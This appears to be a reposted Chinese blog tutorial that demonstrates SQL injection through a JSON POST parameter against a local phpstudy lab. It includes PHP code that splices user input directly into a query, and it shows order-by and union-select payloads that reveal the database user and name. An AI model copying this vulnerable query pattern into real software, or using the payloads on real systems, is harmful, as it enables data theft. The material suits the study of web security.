linux json 写sql注入,sql注入之json注入(php代码)

环境

phpstudy

php服务端代码

security数据库中的users表中的username,password字段

用户名admin

JSON服务端代码

大家实际测试中注意修改相关的数据库名、表名、字段名等

// php防止中文乱码

header(‘content-type:text/html;charset=utf-8‘);

if(isset($_POST[‘json‘])){

$json_str=$_POST[‘json‘];

$json=json_decode($json_str);

if(!$json){

die(‘JSON文档格式有误,请检查‘);

}

$username=$json->username;

//$password=$json->password;

// 建立mysql连接,root/root连接本地数据库

$mysqli=new mysqli();

$mysqli->connect(‘localhost‘,‘root‘,‘root‘);

if($mysqli->connect_errno){

die(‘数据库连接失败:‘.$mysqli->connect_error);

}

// 要操作的数据库名,我的数据库是security

$mysqli->select_db(‘security‘);

if($mysqli->errno){

dir(‘打开数据库失败:‘.$mysqli->error);

}

// 数据库编码格式

$mysqli->set_charset(‘utf-8‘);

// 从users表中查询username,password字段

$sql="SELECT username,password FROM users WHERE username=‘{$username}‘";

$result=$mysqli->query($sql);

if(!$result){

die(‘执行SQL语句失败:‘.$mysqli->error);

}else if($result->num_rows==0){

die(‘查询结果为空‘);

}else {

$array1=$result->fetch_all(MYSQLI_ASSOC);

echo "用户名:{$array1[0][‘username‘]},密码:{$array1[0][‘password‘]}";

}

// 释放资源

$result->free();

$mysqli->close();

}

?>

进行注入

1、按照特定的数据格式查询admin用户密码

json={"username":"admin"}

20210507004829742069.png

2、查看源代码,构造payload

代码中的sql语句是这个样子的,构造payload进行注入

20210507004830038944.png

3、判断当前数据库有多少列

2正常,3报错,判断当前数据库有2列

json={"username":"admin‘ order by 3#"}

20210507004830101444.png

4、注入带出来数据

json={"username":"admin‘ and 1=2 union select 1,2#"}

20210507004830226444.png

json={"username":"admin‘ and 1=2 union select user(),database()#"}

20210507004830320194.png

接下来就是注入操作了,在此不做后续注入...

参考博客

原文:https://www.cnblogs.com/shley/p/14737017.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值